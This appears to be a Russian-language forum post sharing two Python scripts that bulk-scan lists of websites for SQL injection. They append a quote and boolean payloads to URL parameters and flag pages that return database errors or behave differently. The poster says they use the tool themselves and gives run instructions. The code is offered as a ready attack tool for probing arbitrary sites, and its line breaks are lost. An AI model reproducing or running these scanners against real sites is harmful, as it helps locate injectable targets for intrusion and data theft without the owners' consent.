kjuby

Пользователи
  • Публикаций

    1
  • Зарегистрирован

    24 февраля
  • Посещение

  1. Originally Posted by Caligula Code: import osimport sysimport urllibdef log_crt(name, text): if os.path.exists(name): open(name, 'a+').write(text) return True else: return False def sites(name, id): if os.path.exists(name): text = open(name, 'r').readlines() return text[id] else: sys.exit(1)print("[!] SQL Inj checker") if __name__ == "__main__": if sys.argv[1] != "" and sys.argv[2] != "": for i in range(0, len(open(sys.argv[1], 'r').readlines())): site = sites(sys.argv[1], i) try: html = urllib.urlopen(site + "'").read() if 'SQL' in html or 'syntax' in html or 'Warning' in html: log_crt(sys.argv[2], site) print("[033[1;32mGOOD033[1;m] " + site) else: print("[033[1;31mERROR033[1;m] " + site) except: pass print("[033[1;32mDellete repeat domains033[1;m]") for i in range(0, len(open(sys.argv[2], 'r').readlines())): domain = sites(sys.argv[2], i).replace('http://', '').split('/') for j in range(0, len(open(sys.argv[2], 'r').readlines())): dell_domain = sites(sys.argv[2], i).replace('http://', '').split('/') if(dell_domain[0] == domain[0]): f = open(sys.argv[2]).read() f.replace(sites(sys.argv[2], j), '') print("[033[1;32mDone033[1;m]")else: print("Error!") Написал за пару минут и сам его использую, запускать так: python script_name.py файл_с_сайтами.txt файл_для_сохранения_результатов.txt Как то тоже писал подобный скрипт для чека SQL Injection, чекает по ключевым словам(Mysql, MSSQL, PostgreSQL и.т.д....) и сравнивает процент сходства страниц - это для того если нет прямого вывода на страницу, пожалуй тоже выложу сюда, писал давно когда начинал учить python внешни вид кода оставляет желать лутшего ) Code: #!/usr/bin/env python3.5import itertools, warnings, difflib, argparse, requests, hashlib, sys, refrom requests.packages import urllib3urllib3.disable_warnings()headers = {'user-agent': 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.450 Mobile Safari/534.8+'}PROXY = NoneBOOLEAN_CHECK = "/**/AND/**/123=123"BOOLEAN_TEST = "/**/AND/**/123=125"TIMEOUT = 5DBMS_SIGN = re.compile(r"SQL syntax.*MySQL|Warning.*mysql_.*|SQL syntax|mysql_num_rows|mysql_fetch_array|Driver.* SQL[-_ ]*Server|OLE DB.* SQL Server|Warning.*mssql_.*|Microsoft Access Driver|Access Database Engine|Server Error in|PostgreSQL.*ERROR|Npgsql.|valid PostgreSQL result|Oracle error|Oracle.*Driver|Warning.*Woci_.*|CLI Driver.*DB2|DB2 SQL error|SQLite/JDBCDriver|SQLite.Exception|Warning.*sqlite_.*|(?i)Warning.*sybase.*|Sybase message")HTML_CLEAN = re.compile(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|s+")TARGET_PARAM = re.compile(r"(=[a-zA-Z0-9]*)")REDIRECT = "False"VERSION = 0.1COEFFICENT = 0.95parser = argparse.ArgumentParser(description='SQL injection check tools v'+str(VERSION))parser.add_argument("-l", dest="list", help="Choose link list", type=argparse.FileType(), required=True)args = parser.parse_args()try: for link in args.list: prefix = link.find("http") if prefix != 0: link = "http://"+link else: None def page_source_text(sql_link): try: sql_link = requests.get(sql_link, headers=headers, verify=False, timeout=TIMEOUT, allow_redirects=REDIRECT) page_text = sql_link.text page_code = sql_link.status_code page_text = HTML_CLEAN.sub(' ', page_text) return page_text, page_code except requests.exceptions.RequestException: return sql_link def boolean_test_sql(link): bool_targ = TARGET_PARAM.sub(r"1"+BOOLEAN_CHECK, link) bool_targ2 = TARGET_PARAM.sub(r"1"+BOOLEAN_TEST, link) original_targ = page_source_text(link) bool_targ = page_source_text(bool_targ) bool_targ2 = page_source_text(bool_targ2) http_code = original_targ[1] vulns = difflib.SequenceMatcher(None, original_targ[0], bool_targ[0]).quick_ratio() vulns1 = difflib.SequenceMatcher(None, original_targ[0], bool_targ2[0]).quick_ratio() if http_code == 200 or http_code == 500: if vulns >= COEFFICENT and vulns1 <= COEFFICENT: print (" [ + ] ",link) sql_target = TARGET_PARAM.sub(r"1"+"'", link) union_target = page_source_text(sql_target) sql_text = union_target[0] req_code_sql = union_target[1] if req_code_sql == 200 or req_code_sql == 500: dbms_error = DBMS_SIGN.search(sql_text) is not None if dbms_error != 0: print (" [ + ] ",link) else: boolean_test_sql(link) except KeyboardInterrupt: print ("r [x] Ctrl-C pressed")